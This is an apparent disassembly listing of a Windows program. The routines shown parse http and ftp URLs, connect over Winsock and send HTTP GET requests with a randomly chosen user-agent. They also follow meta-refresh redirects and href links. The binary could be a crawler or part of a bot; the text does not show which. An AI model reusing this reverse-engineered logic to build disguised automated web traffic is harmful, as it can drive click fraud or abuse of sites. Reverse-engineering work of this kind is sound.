		mov	[ebp-14h], ebx
		mov	al, [ebp+0Bh]
		push	esi
		push	edi
		mov	[ebp-24h], al
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-18h], ebx
		push	dword ptr [ecx+4]
		xor	esi, esi
		inc	esi
		lea	ecx, [ebp-34h]
		mov	[ebp-4], esi
		call	sub_40D542
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 2
		call	sub_40D989
		mov	[ebp-10h], eax
		mov	cl, [eax]
		cmp	cl, bl
		jz	loc_40D8F7
		mov	edi, [ebp+10h]


loc_40D861:				; CODE XREF: sub_40D810+E1j
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40D86F


loc_40D867:				; CODE XREF: sub_40D810+5Dj
		inc	eax
		mov	[ebp-10h], eax
		cmp	[eax], dl
		jz	short loc_40D867


loc_40D86F:				; CODE XREF: sub_40D810+55j
		cmp	byte ptr [eax],	22h
		setz	byte ptr [ebp+13h]
		cmp	[ebp+13h], bl
		jz	short loc_40D87F
		inc	eax
		mov	[ebp-10h], eax


loc_40D87F:				; CODE XREF: sub_40D810+69j
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-24h]
		push	eax
		call	sub_40F0D0
		mov	eax, [ebp-10h]
		cmp	[ebp+13h], bl
		mov	cl, [eax]
		jz	short loc_40D8C6
		cmp	cl, bl
		jz	short loc_40D8F7


loc_40D899:				; CODE XREF: sub_40D810+A2j
		cmp	cl, 22h
		jnz	short loc_40D8AA
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40D8B4
		cmp	cl, bl
		jz	short loc_40D8B4


loc_40D8AA:				; CODE XREF: sub_40D810+8Cj
		inc	eax
		mov	[ebp-10h], eax
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40D899


loc_40D8B4:				; CODE XREF: sub_40D810+94j
					; sub_40D810+98j
		cmp	[eax], bl
		jz	short loc_40D8F7
		mov	[eax], bl
		mov	eax, [ebp-10h]
		cmp	[eax+1], bl
		jz	short loc_40D8ED
		inc	eax
		inc	eax
		jmp	short loc_40D8EA
; ---------------------------------------------------------------------------


loc_40D8C6:				; CODE XREF: sub_40D810+83j
		cmp	cl, bl
		jz	short loc_40D8F7
		mov	dl, [edi]


loc_40D8CC:				; CODE XREF: sub_40D810+C8j
		cmp	cl, dl
		jz	short loc_40D8DA
		inc	eax
		mov	[ebp-10h], eax
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40D8CC


loc_40D8DA:				; CODE XREF: sub_40D810+BEj
		mov	cl, [eax]
		cmp	cl, bl
		jz	short loc_40D8F7
		cmp	cl, dl
		jnz	short loc_40D8ED
		mov	[eax], bl
		mov	eax, [ebp-10h]
		inc	eax


loc_40D8EA:				; CODE XREF: sub_40D810+B4j
		mov	[ebp-10h], eax


loc_40D8ED:				; CODE XREF: sub_40D810+B0j
					; sub_40D810+D2j
		mov	cl, [eax]
		cmp	cl, bl
		jnz	loc_40D861


loc_40D8F7:				; CODE XREF: sub_40D810+48j
					; sub_40D810+87j ...
		cmp	[ebp-20h], ebx
		jz	short loc_40D90A
		mov	eax, [ebp-1Ch]
		sub	eax, [ebp-20h]
		sar	eax, 2
		cmp	[ebp+0Ch], eax
		jb	short loc_40D91C


loc_40D90A:				; CODE XREF: sub_40D810+EAj
		mov	ecx, [ebp+8]
		push	offset byte_44D6A4
		call	sub_40D542
		mov	[ebp-14h], esi
		jmp	short loc_40D934
; ---------------------------------------------------------------------------


loc_40D91C:				; CODE XREF: sub_40D810+F8j
		push	dword ptr [ebp+0Ch]
		lea	ecx, [ebp-24h]
		call	sub_40F0A3
		push	dword ptr [eax]
		mov	ecx, [ebp+8]
		call	sub_40D542
		mov	[ebp-14h], esi


loc_40D934:				; CODE XREF: sub_40D810+10Aj
		lea	ecx, [ebp-34h]
		call	sub_40D58A
		lea	ecx, [ebp-24h]
		mov	[ebp-4], bl
		call	sub_40F08A
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	10h
sub_40D810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D95B	proc near		; CODE XREF: sub_40DB4B+42p
					; sub_40DB4B+95p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D810
		mov	eax, [ebp+arg_0]
		leave
		retn	0Ch
sub_40D95B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D97A	proc near		; CODE XREF: sub_40DB4B+3C3p
					; sub_40DB4B+3F2p ...
		jmp	sub_40D60A
sub_40D97A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D97F	proc near		; CODE XREF: .text:0040E4BFp
					; .text:0040E862p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		add	eax, [esp+arg_0]
		retn	4
sub_40D97F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D989	proc near		; CODE XREF: sub_40D60A+7p
					; sub_40D66C+7p ...
		mov	eax, [ecx+4]
		retn
sub_40D989	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D98D	proc near		; CODE XREF: sub_40DA0E+29p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		push	101h
		call	dword_42F290	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_42F29C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DA04
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_42F2B8	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4140CF
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42F294	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DA09
		push	esi
		call	dword_42F298	; closesocket


loc_40DA04:				; CODE XREF: sub_40D98D+2Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DA0B
; ---------------------------------------------------------------------------


loc_40DA09:				; CODE XREF: sub_40D98D+6Ej
		mov	eax, esi


loc_40DA0B:				; CODE XREF: sub_40D98D+7Aj
		pop	esi
		leave
		retn
sub_40D98D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA0E	proc near		; CODE XREF: .text:0040E147p
					; .text:0040E372p ...
		mov	eax, offset loc_42EC48
		call	sub_423A68
		mov	eax, 1014h
		call	sub_4220C0
		mov	eax, [ebp+10h]
		push	esi
		xor	esi, esi
		push	dword ptr [eax+40h]
		lea	ecx, [eax+10h]
		mov	[ebp-20h], esi
		call	sub_40D989
		push	eax
		call	sub_40D98D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+10h], eax
		jnz	short loc_40DA58
		mov	ecx, [ebp+8]
		push	offset byte_44D6A4
		call	sub_40D542
		jmp	loc_40DB3B
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: sub_40DA0E+36j
		push	ebx
		push	edi
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_422120
		pop	ecx
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+10h]
		call	dword_42F288	; send
		push	offset byte_44D6A4
		lea	ecx, [ebp-1Ch]
		call	sub_40D542
		mov	edi, dword_42F28C
		mov	[ebp-4], esi
		mov	esi, 1000h


loc_40DA8C:				; CODE XREF: sub_40DA0E+B4j
					; sub_40DA0E+DCj
		push	0
		lea	eax, [ebp-1020h]
		push	esi
		push	eax
		push	dword ptr [ebp+10h]
		call	edi ; dword_42F28C
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40DAEC
		cmp	ebx, esi
		jge	short loc_40DAAD
		and	byte ptr [ebp+ebx-1020h], 0


loc_40DAAD:				; CODE XREF: sub_40DA0E+95j
		lea	eax, [ebp-1020h]
		lea	ecx, [ebp-1Ch]
		push	eax
		call	sub_40D622
		and	dword ptr [ebp+0Ch], 0
		test	ebx, ebx
		jle	short loc_40DA8C


loc_40DAC4:				; CODE XREF: sub_40DA0E+DAj
		mov	eax, [ebp+0Ch]
		push	4
		push	offset asc_4381A8 ; "\r\n\r\n"
		lea	eax, [ebp+eax-1020h]
		push	eax
		call	sub_423AD0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DAEC
		inc	dword ptr [ebp+0Ch]
		cmp	[ebp+0Ch], ebx
		jl	short loc_40DAC4
		jmp	short loc_40DA8C
; ---------------------------------------------------------------------------


loc_40DAEC:				; CODE XREF: sub_40DA0E+91j
					; sub_40DA0E+D2j ...
		push	0
		lea	eax, [ebp-1020h]
		push	esi
		push	eax
		push	dword ptr [ebp+10h]
		call	edi ; dword_42F28C
		test	eax, eax
		jle	short loc_40DB1C
		cmp	eax, esi
		jge	short loc_40DB0B
		and	byte ptr [ebp+eax-1020h], 0


loc_40DB0B:				; CODE XREF: sub_40DA0E+F3j
		lea	eax, [ebp-1020h]
		lea	ecx, [ebp-1Ch]
		push	eax
		call	sub_40D622
		jmp	short loc_40DAEC
; ---------------------------------------------------------------------------


loc_40DB1C:				; CODE XREF: sub_40DA0E+EFj
		push	dword ptr [ebp+10h]
		call	dword_42F298	; closesocket
		mov	ecx, [ebp+8]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_40D566
		lea	ecx, [ebp-1Ch]
		call	sub_40D58A
		pop	edi
		pop	ebx


loc_40DB3B:				; CODE XREF: sub_40DA0E+45j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40DA0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB4B	proc near		; CODE XREF: .text:0040DFEDp
					; .text:0040E2E0p ...
		mov	eax, offset loc_42ECF4
		call	sub_423A68
		sub	esp, 50h
		push	esi
		xor	esi, esi
		cmp	[ebp+8], esi
		jnz	short loc_40DB67
		xor	eax, eax
		jmp	loc_40DF7B
; ---------------------------------------------------------------------------


loc_40DB67:				; CODE XREF: sub_40DB4B+13j
		push	ebx
		push	edi
		lea	ecx, [ebp-1Ch]
		call	sub_40D512
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-1Ch]
		mov	[ebp-4], esi
		call	sub_40D5BD
		mov	ebx, offset asc_4381C4 ; ":"
		lea	eax, [ebp-3Ch]
		push	ebx
		push	esi
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D95B
		mov	edi, [ebp+0Ch]
		push	eax
		mov	ecx, edi
		mov	byte ptr [ebp-4], 1
		call	sub_40D60A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_40D58A
		push	offset aHttp	; "http"
		mov	ecx, edi
		call	sub_40D684
		test	eax, eax
		jz	short loc_40DBD1
		push	offset aFtp	; "ftp"
		mov	ecx, edi
		call	sub_40D684
		test	eax, eax
		jnz	loc_40DF6F


loc_40DBD1:				; CODE XREF: sub_40DB4B+70j
		mov	esi, offset asc_4381B4 ; "/"
		lea	eax, [ebp-3Ch]
		push	esi
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D95B
		push	40h
		mov	ecx, eax
		mov	byte ptr [ebp-4], 2
		call	sub_40D6DF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		mov	[ebp+8], eax
		call	sub_40D58A
		cmp	dword ptr [ebp+8], 0
		push	esi
		lea	ecx, [ebp-1Ch]
		push	1
		jz	loc_40DE0B
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_40D95B
		push	offset a@	; "@"
		lea	ecx, [ebp-4Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 3
		call	sub_40D95B
		push	ebx
		lea	ecx, [ebp-3Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 4
		call	sub_40D95B
		lea	ecx, [edi+10h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_40D60A
		lea	ecx, [ebp-3Ch]
		call	sub_40D58A
		lea	ecx, [ebp-4Ch]
		call	sub_40D58A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-5Ch]
		call	sub_40D58A
		push	offset byte_44D6A4
		lea	ecx, [edi+10h]
		call	sub_40D684
		test	eax, eax
		jnz	short loc_40DC83


loc_40DC7C:				; CODE XREF: sub_40DB4B+23Fj
					; sub_40DB4B+2BBj ...
		xor	esi, esi
		jmp	loc_40DF6F
; ---------------------------------------------------------------------------


loc_40DC83:				; CODE XREF: sub_40DB4B+12Fj
		push	esi
		lea	eax, [ebp-3Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D95B
		push	offset a@	; "@"
		lea	ecx, [ebp-4Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 6
		call	sub_40D95B
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 7
		call	sub_40D95B
		mov	ecx, eax
		call	sub_40D989
		push	eax
		call	sub_422B5A
		pop	ecx
		mov	[edi+40h], eax
		lea	ecx, [ebp-5Ch]
		call	sub_40D58A
		lea	ecx, [ebp-4Ch]
		call	sub_40D58A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_40D58A
		cmp	dword ptr [edi+40h], 0
		jnz	short loc_40DD1B
		push	offset aHttp	; "http"
		mov	ecx, edi
		call	sub_40D684
		test	eax, eax
		jnz	short loc_40DD04
		mov	dword ptr [edi+40h], 50h


loc_40DD04:				; CODE XREF: sub_40DB4B+1B0j
		push	offset aFtp	; "ftp"
		mov	ecx, edi
		call	sub_40D684
		test	eax, eax
		jnz	short loc_40DD1B
		mov	dword ptr [edi+40h], 15h


loc_40DD1B:				; CODE XREF: sub_40DB4B+1A0j
					; sub_40DB4B+1C7j
		push	esi
		lea	eax, [ebp-3Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D95B
		push	offset a@	; "@"
		lea	ecx, [ebp-4Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 8
		call	sub_40D95B
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 9
		call	sub_40D95B
		lea	ecx, [edi+20h]
		push	eax
		mov	byte ptr [ebp-4], 0Ah
		call	sub_40D60A
		lea	ecx, [ebp-5Ch]
		call	sub_40D58A
		lea	ecx, [ebp-4Ch]
		call	sub_40D58A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_40D58A
		push	offset byte_44D6A4
		lea	ecx, [edi+20h]
		call	sub_40D684
		test	eax, eax
		jz	loc_40DC7C
		push	esi
		lea	eax, [ebp-3Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D95B
		push	offset a@	; "@"
		lea	ecx, [ebp-4Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Bh
		call	sub_40D95B
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Ch
		call	sub_40D95B
		lea	ebx, [edi+30h]
		push	eax
		mov	ecx, ebx
		mov	byte ptr [ebp-4], 0Dh
		call	sub_40D60A
		lea	ecx, [ebp-5Ch]
		call	sub_40D58A
		lea	ecx, [ebp-4Ch]
		call	sub_40D58A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_40D58A
		push	offset byte_44D6A4
		mov	ecx, ebx
		call	sub_40D684
		test	eax, eax
		jnz	loc_40DED6
		jmp	loc_40DC7C
; ---------------------------------------------------------------------------


loc_40DE0B:				; CODE XREF: sub_40DB4B+C0j
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_40D95B
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Eh
		call	sub_40D95B
		lea	ecx, [edi+10h]
		push	eax
		mov	byte ptr [ebp-4], 0Fh
		call	sub_40D60A
		lea	ecx, [ebp-5Ch]
		call	sub_40D58A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-4Ch]
		call	sub_40D58A
		push	offset byte_44D6A4
		lea	ecx, [edi+10h]
		call	sub_40D684
		test	eax, eax
		jz	loc_40DC7C
		push	esi
		lea	eax, [ebp-4Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D95B
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 10h
		call	sub_40D95B
		mov	ecx, eax
		call	sub_40D989
		push	eax
		call	sub_422B5A
		pop	ecx
		mov	[edi+40h], eax
		lea	ecx, [ebp-5Ch]
		call	sub_40D58A
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-4Ch]
		call	sub_40D58A
		cmp	dword ptr [edi+40h], 0
		jnz	short loc_40DED6
		push	offset aHttp	; "http"
		mov	ecx, edi
		call	sub_40D684
		test	eax, eax
		jnz	short loc_40DEBF
		mov	dword ptr [edi+40h], 50h


loc_40DEBF:				; CODE XREF: sub_40DB4B+36Bj
		push	offset aFtp	; "ftp"
		mov	ecx, edi
		call	sub_40D684
		test	eax, eax
		jnz	short loc_40DED6
		mov	dword ptr [edi+40h], 15h


loc_40DED6:				; CODE XREF: sub_40DB4B+2B5j
					; sub_40DB4B+35Bj ...
		push	esi
		lea	ecx, [ebp-1Ch]
		call	sub_40D71D
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_40D7ED
		push	esi
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 11h
		call	sub_40D71D
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_40D7ED
		push	eax
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 12h
		call	sub_40D97A
		lea	ecx, [ebp-5Ch]
		mov	byte ptr [ebp-4], 11h
		call	sub_40D58A
		push	esi
		lea	ecx, [ebp-2Ch]
		call	sub_40D71D
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_40D7ED
		push	eax
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 13h
		call	sub_40D97A
		lea	ecx, [ebp-5Ch]
		mov	byte ptr [ebp-4], 11h
		call	sub_40D58A
		add	edi, 44h
		push	esi
		mov	ecx, edi
		call	sub_40D5BD
		lea	eax, [ebp-2Ch]
		mov	ecx, edi
		push	eax
		call	sub_40D66C
		lea	ecx, [ebp-2Ch]
		call	sub_40D58A
		xor	esi, esi
		inc	esi


loc_40DF6F:				; CODE XREF: sub_40DB4B+80j
					; sub_40DB4B+133j
		lea	ecx, [ebp-1Ch]
		call	sub_40D58A
		pop	edi
		mov	eax, esi
		pop	ebx


loc_40DF7B:				; CODE XREF: sub_40DB4B+17j
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40DB4B	endp

; ---------------------------------------------------------------------------


loc_40DF88:				; DATA XREF: sub_403B2C+5FEEo
		mov	eax, offset loc_42EEAC
		call	sub_423A68
		sub	esp, 0C40h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 22Ah
		mov	esi, eax
		lea	edi, [ebp-0C4Ch]
		xor	ebx, ebx
		rep movsd
		mov	dword ptr [eax+8A4h], 1
		mov	eax, [ebp-0C4Ch]
		lea	ecx, [ebp-1F4h]
		mov	[ebp-34h], eax
		mov	[ebp-48h], ebx
		call	sub_40F035
		mov	[ebp-4], ebx
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		lea	eax, [ebp-1F4h]
		push	eax
		lea	eax, [ebp-0C48h]
		push	eax
		call	sub_40DB4B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E05E
		cmp	[ebp-3ACh], ebx
		mov	esi, offset aFailedToParse_ ; "Failed to parse."
		jnz	short loc_40E021
		cmp	[ebp-3B0h], ebx
		jnz	short loc_40E029
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_4104F6
		add	esp, 0Ch


loc_40E021:				; CODE XREF: .text:0040E004j
		cmp	[ebp-3B0h], ebx
		jz	short loc_40E03C


loc_40E029:				; CODE XREF: .text:0040E00Cj
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_410491
		add	esp, 0Ch


loc_40E03C:				; CODE XREF: .text:0040E027j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1F4h]
		call	sub_40F05F
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40E05E:				; CODE XREF: .text:0040DFF7j
		xor	eax, eax
		cmp	off_437718, ebx
		jz	short loc_40E072


loc_40E068:				; CODE XREF: .text:0040E070j
		inc	eax
		cmp	off_437718[eax*4], ebx
		jnz	short loc_40E068


loc_40E072:				; CODE XREF: .text:0040E066j
		dec	eax
		cmp	[ebp-3C0h], ebx
		mov	[ebp-0D0h], eax
		jle	loc_40EFC5
		mov	esi, offset asc_433F94 ; " "
		mov	edi, offset asc_438724 ; "="


loc_40E08F:				; CODE XREF: .text:0040EFBFj
		push	dword ptr [ebp-0D0h]
		push	ebx
		call	sub_41409E
		mov	eax, off_437718[eax*4]
		pop	ecx
		pop	ecx
		mov	[ebp+8], eax
		lea	ecx, [ebp-30h]
		call	sub_40D512
		lea	ecx, [ebp-20h]
		call	sub_40D512
		cmp	dword ptr [ebp-3C4h], 50h
		mov	byte ptr [ebp-4], 2
		lea	ecx, [ebp-1E4h]
		jnz	short loc_40E0E3
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_40D6A6
		add	esp, 0Ch
		jmp	short loc_40E100
; ---------------------------------------------------------------------------


loc_40E0E3:				; CODE XREF: .text:0040E0C8j
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_40D6A6
		add	esp, 10h


loc_40E100:				; CODE XREF: .text:0040E0E1j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1B0h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-1F4h]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-0CCh]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		mov	byte ptr [ebp-4], 3
		jmp	loc_40EF56
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: .text:0040EF5Cj
		lea	ecx, [ebp-0ACh]
		call	sub_40F035
		push	3Ch
		lea	ecx, [ebp-0CCh]
		mov	byte ptr [ebp-4], 4
		call	sub_40D6DF
		test	eax, eax
		jz	loc_40EF64
		push	3Ch
		lea	ecx, [ebp-0CCh]
		call	sub_40D6DF
		push	eax
		lea	eax, [ebp-0F0h]
		push	eax
		lea	ecx, [ebp-0CCh]
		call	sub_40D7ED
		lea	eax, [ebp-0F0h]
		lea	ecx, [ebp-0CCh]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_40D97A
		push	3Eh
		lea	ecx, [ebp-0CCh]
		call	sub_40D6DF
		dec	eax
		lea	ecx, [ebp-0CCh]
		push	eax
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_40D75A
		push	esi
		lea	eax, [ebp-0BCh]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 6
		call	sub_40D95B
		push	offset aMeta	; "meta"
		lea	ecx, [ebp-0BCh]
		mov	byte ptr [ebp-4], 7
		call	sub_40D695
		test	eax, eax
		jnz	loc_40E398
		push	offset aRefresh	; "\"Refresh\""
		lea	ecx, [ebp-44h]
		call	sub_40D71D
		test	eax, eax
		jz	loc_40E398
		push	esi
		lea	eax, [ebp-58h]
		push	3
		push	eax
		lea	ecx, [ebp-44h]
		call	sub_40D95B
		push	3Dh
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 8
		call	sub_40D6DF
		push	eax
		lea	eax, [ebp-394h]
		push	eax
		lea	ecx, [ebp-58h]
		call	sub_40D7ED
		push	eax
		lea	ecx, [ebp-0F0h]
		mov	byte ptr [ebp-4], 9
		call	sub_40D97A
		lea	ecx, [ebp-394h]
		mov	byte ptr [ebp-4], 8
		call	sub_40D58A
		lea	eax, [ebp-0F0h]
		lea	ecx, [ebp-58h]
		push	eax
		call	sub_40D97A
		lea	ecx, [ebp-58h]
		call	sub_41111F
		dec	eax
		lea	ecx, [ebp-58h]
		push	eax
		lea	eax, [ebp-374h]
		push	ebx
		push	eax
		call	sub_40D75A
		push	eax
		lea	ecx, [ebp-0F0h]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_40D97A
		lea	ecx, [ebp-374h]
		mov	byte ptr [ebp-4], 8
		call	sub_40D58A
		lea	eax, [ebp-0F0h]
		lea	ecx, [ebp-58h]
		push	eax
		call	sub_40D97A
		lea	eax, [ebp-58h]
		lea	ecx, [ebp-204h]
		push	eax
		call	sub_40D566
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-204h]
		push	eax
		mov	byte ptr [ebp-4], 0Bh
		call	sub_40D989
		push	eax
		call	sub_40DB4B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E385
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_40E314
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_40D6A6
		add	esp, 0Ch
		jmp	short loc_40E32E
; ---------------------------------------------------------------------------


loc_40E314:				; CODE XREF: .text:0040E2F9j
		push	dword ptr [ebp-6Ch]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_40D6A6
		add	esp, 10h


loc_40E32E:				; CODE XREF: .text:0040E312j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-214h]
		call	sub_40D58A


loc_40E385:				; CODE XREF: .text:0040E2E9j
		lea	ecx, [ebp-204h]
		call	sub_40D58A
		lea	ecx, [ebp-58h]
		jmp	loc_40EF24
; ---------------------------------------------------------------------------


loc_40E398:				; CODE XREF: .text:0040E1FCj
					; .text:0040E211j
		push	offset dword_433F14
		lea	ecx, [ebp-0BCh]
		call	sub_40D695
		test	eax, eax
		jnz	loc_40E73B
		push	esi
		lea	eax, [ebp-384h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-110h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Ch
		call	sub_40D95B
		lea	ecx, [ebp-384h]
		jmp	short loc_40E43F
; ---------------------------------------------------------------------------


loc_40E3E0:				; CODE XREF: .text:0040E45Aj
		push	offset byte_44D6A4
		lea	ecx, [ebp-110h]
		call	sub_40D684
		test	eax, eax
		jz	short loc_40E45C
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-304h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-244h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Fh
		call	sub_40D95B
		push	eax
		lea	ecx, [ebp-110h]
		mov	byte ptr [ebp-4], 10h
		call	sub_40D60A
		lea	ecx, [ebp-244h]
		call	sub_40D58A
		lea	ecx, [ebp-304h]


loc_40E43F:				; CODE XREF: .text:0040E3DEj
		mov	byte ptr [ebp-4], 0Eh
		call	sub_40D58A
		lea	ecx, [ebp-110h]
		push	offset aHref	; "href"
